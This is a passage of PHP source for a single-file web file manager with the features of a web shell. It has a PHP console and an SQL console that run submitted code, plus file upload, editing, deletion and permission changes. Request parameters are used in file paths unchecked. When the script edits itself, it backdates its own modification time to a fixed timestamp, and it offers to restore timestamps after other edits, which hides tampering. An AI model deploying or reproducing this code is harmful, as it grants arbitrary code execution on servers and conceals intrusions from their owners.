    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
